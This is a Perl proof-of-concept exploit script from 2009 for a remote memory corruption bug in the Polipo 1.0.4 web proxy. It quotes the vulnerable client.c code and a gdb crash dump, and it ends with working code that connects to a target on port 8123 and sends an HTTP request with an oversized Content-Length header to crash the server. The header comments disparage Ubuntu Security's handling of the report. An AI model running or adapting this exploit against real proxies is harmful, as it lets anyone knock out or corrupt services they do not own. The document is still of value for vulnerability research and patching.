114 lines
No EOL
3.2 KiB
Perl
Executable file
114 lines
No EOL
3.2 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
# estranged.pl
|
|
# AKA
|
|
# Polipo 1.0.4 Remote Memory Corruption 0day PoC
|
|
#
|
|
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 12.07.2009
|
|
#
|
|
# *********************************************************************************************************
|
|
#
|
|
# Hzzp loves you Polipo!
|
|
#
|
|
# No use reporting this issue to Ubuntu Security unless you feel like waiting two weeks for them to sit on
|
|
# it, then UNFLAG security issue and call it a feature.
|
|
#
|
|
# I informally request that they apologize to the developers themselves x)
|
|
#
|
|
# polipo-20080907/client.c [1001-1009]:
|
|
#
|
|
# if(connection->reqlen > connection->reqbegin) {
|
|
# memmove(connection->reqbuf, connection->reqbuf + connection->reqbegin,
|
|
# connection->reqlen - connection->reqbegin);
|
|
# connection->reqlen -= connection->reqbegin;
|
|
# connection->reqbegin = 0;
|
|
# } else {
|
|
# connection->reqlen = 0;
|
|
# connection->reqbegin = 0;
|
|
# }
|
|
#
|
|
# 0.9.8 / 1.0.4 tested vulnerable
|
|
#
|
|
# Program received signal SIGSEGV, Segmentation fault.
|
|
# 0x40093486 in memmove () from /lib/libc.so.6
|
|
# (gdb) i r
|
|
# eax 0x80000000 -2147483648
|
|
# ecx 0x2 2
|
|
# edx 0x8000002c -2147483604
|
|
# ebx 0x80775d8 134706648
|
|
# esp 0xbffff7f0 0xbffff7f0
|
|
# ebp 0xbffff7f8 0xbffff7f8
|
|
# esi 0x4017002d 1075249197
|
|
# edi 0xc017002d -1072234451
|
|
# eip 0x40093486 0x40093486
|
|
# eflags 0x10686 67206
|
|
# cs 0x23 35
|
|
# ss 0x2b 43
|
|
# ds 0x2b 43
|
|
# es 0x2b 43
|
|
# fs 0x0 0
|
|
# gs 0x0 0
|
|
# (gdb) bt
|
|
#0 0x40093486 in memmove () from /lib/libc.so.6
|
|
#1 0x0805a594 in ?? ()
|
|
#2 0x40170000 in ?? ()
|
|
#3 0xc0170000 in ?? ()
|
|
#4 0x8000002e in ?? ()
|
|
#5 0x0804e744 in ?? ()
|
|
#6 0x08077548 in ?? ()
|
|
#7 0x08077550 in ?? ()
|
|
#8 0x00000001 in ?? ()
|
|
#9 0x0000000a in ?? ()
|
|
#10 0x00000001 in ?? ()
|
|
#11 0x080775d8 in ?? ()
|
|
#12 0xbffff908 in ?? ()
|
|
#13 0x0805a458 in ?? ()
|
|
#14 0x08077498 in ?? ()
|
|
#15 0x00000001 in ?? ()
|
|
#16 0x00000001 in ?? ()
|
|
#17 0x00000001 in ?? ()
|
|
#18 0x00000001 in ?? ()
|
|
#19 0x0805eb8d in ?? ()
|
|
#20 0x00000000 in ?? ()
|
|
#21 0xbffff8d0 in ?? ()
|
|
#22 0xbffff8ac in ?? ()
|
|
#23 0xbffff8b0 in ?? ()
|
|
#24 0x00000000 in ?? ()
|
|
#25 0x00000000 in ?? ()
|
|
#26 0x00000000 in ?? ()
|
|
#27 0x00000000 in ?? ()
|
|
#28 0x00000000 in ?? ()
|
|
#29 0x00000000 in ?? ()
|
|
#30 0x00000000 in ?? ()
|
|
#31 0x00000000 in ?? ()
|
|
#32 0xbffff8b4 in ?? ()
|
|
#33 0xbffff8c0 in ?? ()
|
|
#34 0x00000000 in ?? ()
|
|
#35 0x00000000 in ?? ()
|
|
#36 0xbffff8b8 in ?? ()
|
|
#37 0xbffff8bc in ?? ()
|
|
#38 0x40170003 in ?? ()
|
|
#39 0x0806f803 in _IO_stdin_used ()
|
|
#40 0x08077550 in ?? ()
|
|
#41 0x4008dc91 in mallopt () from /lib/libc.so.6
|
|
# Previous frame inner to this frame (corrupt stack?)
|
|
# (gdb)
|
|
#
|
|
#(gdb) x/i $eip
|
|
#0x40093486 <memmove+102>: repz movsb %ds:(%esi),%es:(%edi)
|
|
#
|
|
# "And my hair cannot commit, to one popular genre of music"
|
|
#
|
|
# *********************************************************************************************************
|
|
# estranged.pl
|
|
|
|
use IO::Socket;
|
|
|
|
$target = $ARGV[0];
|
|
$port = 8123;
|
|
|
|
$payload = "GET / HTTP/1.1\r\nContent-Length: 2147483602\r\n\r\n";
|
|
|
|
$sock = IO::Socket::INET->new(Proto=>'tcp', PeerHost=>$target, PeerPort=>$port) or die "Error: $target:$port\n";
|
|
$sock->send($payload);
|
|
|
|
close($sock); |